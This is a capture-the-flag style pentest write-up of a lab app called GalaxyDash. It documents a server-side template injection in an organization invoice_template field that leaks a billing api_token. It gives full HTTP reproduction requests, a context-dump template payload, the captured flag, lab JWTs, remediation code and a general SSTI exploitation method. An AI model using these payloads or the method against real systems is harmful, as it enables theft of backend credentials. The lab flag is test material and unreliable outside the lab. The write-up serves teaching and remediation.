BugForge — 2026.06.19

GalaxyDash: Server-Side Template Injection → Secret Disclosure

BugForge Server-Side Template Injection (Context Traversal) medium

Part 1: Pentest Report

Executive Summary

GalaxyDash is a space-themed delivery and courier booking SaaS built on a React single-page frontend and an Express/Node backend, with authentication via an HS256 JWT bearer token held in localStorage. The headline finding is a server-side template injection in the organization branding feature: the org-level invoice_template field is rendered server-side into the invoice branding response field, and the render context includes a backend billing object carrying a secret api_token. A self-registered organization admin can set the template to reference that object and read the credential back out of an invoice fetch.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Secret disclosure via invoice-template context traversal Medium 6.5 CWE-1336, CWE-200 PUT /api/organizationGET /api/invoices/:id

The flag-bearing finding leaks billing.api_token (bug{qeTAMOzioKiwceoegsPKW9d6RXeu5bhv}), a backend billing credential that appears nowhere in the client bundle or any normal API response. The leak is single-tenant (the attacker reads their own org’s token, not another tenant’s), which holds the rating at Medium, but the disclosure of a backend secret into customer-controllable output is a real exposure: its real-world weight scales with whatever that token authorizes, which is not observable from the client.


Objective

Assess the GalaxyDash web application for a medium-difficulty lab, working from the provided hint “Customize your branding” toward a flag.


Scope / Initial Access

# Target Application
URL: https://lab-1781901915346-qxl6db.labs-app.bugforge.io/

# Auth details
# Self-registration is open: POST /api/register returns a JWT plus the new
# user's role and permissions. A freshly registered user is org_admin of a
# new organization with can_manage_org = true.
#
# JWT: HS256 bearer in localStorage.
# Payload: {id, username, organizationId, iat}
# Role and permissions are resolved server-side, NOT carried in the token.

A new account is the only starting requirement. Registration grants org_admin over a brand-new organization, including can_manage_org, which is the permission gating the vulnerable write endpoint. No privilege boundary needs to be crossed to reach the finding.


Reconnaissance: Reading the React Bundle and the Branding Hint

The frontend bundle (static/js/main.6e0c19b4.js) was reviewed to map the API surface and the shape of each request, and proxy history was walked to confirm live behavior. The following observations shaped the test plan:

  1. The JWT payload carries only {id, username, organizationId, iat}; role and permissions are returned at login/registration and resolved server-side, not encoded in the token. Forging privileges in the token is not on the table, so the path has to run through an account that already holds the needed permission.
  2. The org-settings form in the bundle submits seven fields (name, business type, headquarters planet/address, contact email/phone) and does not include invoice_template. That field is absent from the client bundle entirely, yet the hint points at branding customization.
  3. GET /api/invoices/:id returns a branding field. Cross-referencing the bundle, the branding text is built from the organization’s invoice_template, so the template is the writer and the invoice response is the reader.
  4. Setting invoice_template to a literal value (12345) via PUT /api/organization and re-fetching the invoice returned branding == "12345". The template is rendered live at invoice fetch time, not baked in at invoice generation, so any change to the template reflects on the next fetch.

Application Architecture

Component Detail
Backend Express / Node (X-Powered-By: Express)
Frontend React single-page app (static/js/main.6e0c19b4.js), axios instance
Auth JWT HS256 bearer in localStorage; payload {id, username, organizationId, iat}; role/permissions resolved server-side
Database Not directly observed; delivery, booking, invoice, and billing records are present in API responses

API Surface

Endpoint Method Auth Notes
/api/register POST No Public; returns JWT + role + permissions
/api/login POST No Public
/api/verify-token GET Yes  
/api/organization GET Yes Returns org record including invoice_template
/api/organization PUT Yes (can_manage_org) Accepts invoice_template (the SSTI sink)
/api/invoices/:id GET Yes Renders branding from org invoice_template, live at fetch

Known Users

Username ID Org Role
haxor 5 4 org_admin (self-registered)

Attack Chain Visualization

┌────────────────────────┐   ┌──────────────────────────────┐   ┌────────────────────────────┐   ┌────────────────────────────┐
│ 1. POST /api/register  │   │ 2. PUT /api/organization     │   │ 3. GET /api/invoices/1     │   │ 4. Read "branding" field   │
│ self-register          │──▶│ set invoice_template to a    │──▶│ server renders the stored  │──▶│ {{billing}} dumps as JSON: │
│ → JWT, org_admin,      │   │ context-dump payload         │   │ template into "branding"   │   │ billing.api_token = flag   │
│ can_manage_org = true  │   │ ({{organization}} {{billing}}│   │ live at fetch time         │   │ bug{qeTAMOz…5bhv}          │
└────────────────────────┘   │ {{invoice}} …)               │   └────────────────────────────┘   └────────────────────────────┘
                             └──────────────────────────────┘

Findings

F1: Secret disclosure via invoice-template context traversal

Severity: Medium CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) Endpoint: PUT /api/organization (sets the template) → GET /api/invoices/:id (renders it) Authentication required: Yes (any org_admin with can_manage_org, the default role of a freshly registered organization)

Description

The organization’s invoice_template field is rendered server-side into the invoice branding field returned by GET /api/invoices/:id. Two facts make this exploitable:

  1. The template engine is a property-path resolver, not an expression evaluator. It substitutes {{ obj.path }} placeholders against a render context but evaluates no expressions: {{7*7}} renders empty (unknown path resolves to an empty string), while {{organization.name}} resolves to the org name. There is no code execution; the ceiling is reading whatever the render context exposes.
  2. The render context exposes a billing object that includes a secret api_token. This credential appears nowhere in the client bundle and in no other API response.

The template is fully attacker-controlled. It is writable through PUT /api/organization as part of the intended “Customize your branding” feature (the field is omitted from the frontend org-settings form but accepted by the server), and the rendered output is returned to the client in the invoice branding field. Because whole objects stringify as JSON when resolved, an organization admin can reference {{billing}} to dump every field of the billing record in one render, or {{billing.api_token}} to read the credential directly.

Impact

Discloses a backend billing credential (billing.api_token) that is never otherwise exposed to the client, to any self-registered organization admin.

Reproduction

Step 1: Register an account

POST /api/register HTTP/1.1
Host: lab-1781901915346-qxl6db.labs-app.bugforge.io
Content-Type: application/json

{"username":"haxor","email":"test@test.com","password":"password","full_name":"","org_name":"biz","business_type":"General","headquarters_planet":"Earth","headquarters_address":"1234","contact_email":"","contact_phone":"123456789","tax_id":"1234"}

Response: 200 OK. Returns a JWT and the user record showing "role":"org_admin" with "can_manage_org":true.

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NSwidXNlcm5hbWUiOiJoYXhvciIsIm9yZ2FuaXphdGlvbklkIjo0LCJpYXQiOjE3ODE5MDIxMDJ9.908Ch8DyZ3lrn1a72sZeGumzUY0p-dgIlyZK975WTSo","user":{"id":5,"username":"haxor","email":"test@test.com","full_name":"","role":"org_admin","organizationId":4,"permissions":{"can_view_deliveries":true,"can_create_deliveries":true,"can_edit_deliveries":true,"can_manage_team":true,"can_manage_org":true}}}

Step 2: Set invoice_template to a context-dump payload

PUT /api/organization HTTP/1.1
Host: lab-1781901915346-qxl6db.labs-app.bugforge.io
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NSwidXNlcm5hbWUiOiJoYXhvciIsIm9yZ2FuaXphdGlvbklkIjo0LCJpYXQiOjE3ODE5MDIxMDJ9.908Ch8DyZ3lrn1a72sZeGumzUY0p-dgIlyZK975WTSo

{"name":"biz","business_type":"General","headquarters_planet":"Earth","headquarters_address":"12345","contact_email":"test@test.com","contact_phone":"123456789","invoice_template":"o=[{{organization}}] i=[{{invoice}}] b=[{{billing}}] bk=[{{booking}}] u=[{{user}}] f=[{{flag}}] cfg=[{{config}}] sec=[{{secret}}] ctl={{organization.name}}"}

Response: 200 OK, {"message":"Organization updated successfully"}. The template is now stored on the organization.

Step 3: Fetch an invoice to render the template

GET /api/invoices/1 HTTP/1.1
Host: lab-1781901915346-qxl6db.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NSwidXNlcm5hbWUiOiJoYXhvciIsIm9yZ2FuaXphdGlvbklkIjo0LCJpYXQiOjE3ODE5MDIxMDJ9.908Ch8DyZ3lrn1a72sZeGumzUY0p-dgIlyZK975WTSo

Response: 200 OK. The branding field renders the template. Each in-scope object stringifies as JSON; b=[{{billing}}] exposes the secret:

"branding":"o=[{\"name\":\"biz\",\"address\":\"12345\",\"tax_id\":\"1234\"}] i=[{\"number\":\"GD-2026-000001\",\"subtotal\":7970.62,\"tax\":637.6496,\"total\":8608.2696}] b=[{\"account_id\":\"GD-ACCT-000004\",\"currency\":\"credits\",\"api_token\":\"bug{qeTAMOzioKiwceoegsPKW9d6RXeu5bhv}\"}] bk=[] u=[] f=[] cfg=[] sec=[] ctl=biz"

booking, user, flag, config, and secret resolve empty (not in scope); the secret lives in billing.api_token.

The minimal equivalent of Step 2 is "invoice_template":"{{billing.api_token}}", which renders the credential alone in the branding field.

Remediation

The render context is built from the raw billing record, so a secret field is reachable from a customer-controlled template. Build the context from an explicit allow-list of display-safe fields, and resolve objects to nothing rather than spilling them as JSON.

Fix 1: Build the render context from a secret-free allow-list

The implementation below is reconstructed from observed render behavior; the server source was not available.

// BEFORE (Vulnerable): the full billing record is spread into the render
// context, and whole objects stringify as JSON when resolved.
function renderBranding(template, invoice, organization) {
  const context = {
    organization,
    invoice,
    billing: invoice.billing,        // full record, includes api_token
  };
  return template.replace(/{{\s*(.+?)\s*}}/g, (_, path) => {
    const val = getByPath(context, path);
    if (val == null) return '';
    return typeof val === 'object' ? JSON.stringify(val) : String(val);
  });
}

// AFTER (Secure): a whitelisted view model with no secret fields, and
// object-valued paths resolve to empty instead of dumping as JSON.
function renderBranding(template, invoice, organization) {
  const context = {
    organization: { name: organization.name, address: organization.address },
    invoice:      { number: invoice.number, total: invoice.total },
    billing:      { account_id: invoice.billing.account_id, currency: invoice.billing.currency },
    // api_token deliberately omitted from the view model
  };
  return template.replace(/{{\s*(.+?)\s*}}/g, (_, path) => {
    const val = getByPath(context, path);
    if (val == null || typeof val === 'object') return '';
    return String(val);
  });
}

Additional recommendations:

  • If richer branding is required, render with a logic-less or sandboxed template engine (for example Mustache) over the whitelisted view model, so an unexpected placeholder can never reach an object that was not intended for display.
  • Keep secrets out of any record that is passed, in whole or in part, into a rendering or serialization step that returns output to a client.
  • Validate PUT /api/organization against the set of fields the branding feature actually needs; reject or strip anything outside it.

OWASP Top 10 Coverage

  • A03:2021 Injection: A server-side template injection. An attacker-settable template is rendered server-side, and the placeholder syntax reaches data the template was never meant to address.
  • A04:2021 Insecure Design: A render context assembled from a raw billing record places a backend secret within reach of a customer-controllable template, which is a design-level exposure independent of any single coding bug.

Tools Used

Tool Purpose
Caido Intercepting proxy; request capture and replay of the PUT / GET exploit pair
Browser DevTools / bundle review Reading the React bundle to map the API surface and find the invoice_template writer/reader pair

References

  • CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine. https://cwe.mitre.org/data/definitions/1336.html
  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor. https://cwe.mitre.org/data/definitions/200.html
  • OWASP Testing Guide: Testing for Server-Side Template Injection. https://owasp.org/www-project-web-security-testing-guide/
  • PortSwigger Web Security Academy: Server-side template injection. https://portswigger.net/web-security/server-side-template-injection

Part 2: Notes / Knowledge

Key Learnings

  • A response field that renders template placeholders is a server-side template-injection sink. When a response field renders template markers ({{ }}, ${ }, <% %>), or a stored value surfaces in rendered form in another response, treat it as injection by construction and work it in four moves. First, find the writer: the rendering field is the sink, but a separate endpoint sets the template, so locate that write endpoint (here, invoice_template was omitted from the frontend form yet accepted by PUT /api/organization). Second, read the default template, because it names its own context objects; enumerate every object it references rather than guessing. Third, classify the engine with {{7*7}}: 49 means it evaluates expressions and the ceiling is code execution, while empty or literal means it is a property-path resolver and the ceiling is reading whatever the context exposes. On GalaxyDash {{7*7}} rendered empty, which is not a dead end but a classification: the engine resolves paths, so the win is context traversal. Fourth, exploit by class; for a resolver, dump whole objects (they stringify as JSON, so {{billing}} returned every field including the secret api_token in a single render) or enumerate properties to reach any secret sitting in the render scope.

Failed Approaches

Approach Result Why It Failed
SSTI to remote code execution via {{7*7}} {{7*7}} rendered empty; {{organization.name}} resolved to biz The engine is a property-path resolver, not an expression evaluator. It substitutes dotted paths against a context and evaluates no arithmetic or code, so the ceiling is information disclosure, not code execution.
Untested sibling verbs (DELETE /api/organization, POST /api/invoices, PUT/DELETE /api/bookings/:id) and an OPTIONS Allow-sweep Not pursued The objective was met through the branding sink before these were probed. Listed as the methodical next move if the branding path had stalled.
/v1/images?image_data=... toward ads-img.mozilla.org Identified as browser noise Firefox sponsored-tile traffic, not a target endpoint. Disregarded.

Tags: #ssti #template-injection #information-disclosure #nodejs #express #bugforge Document Version: 1.0 Last Updated: 2026-06-19

#ssti #template-injection #information-disclosure #nodejs #express #bugforge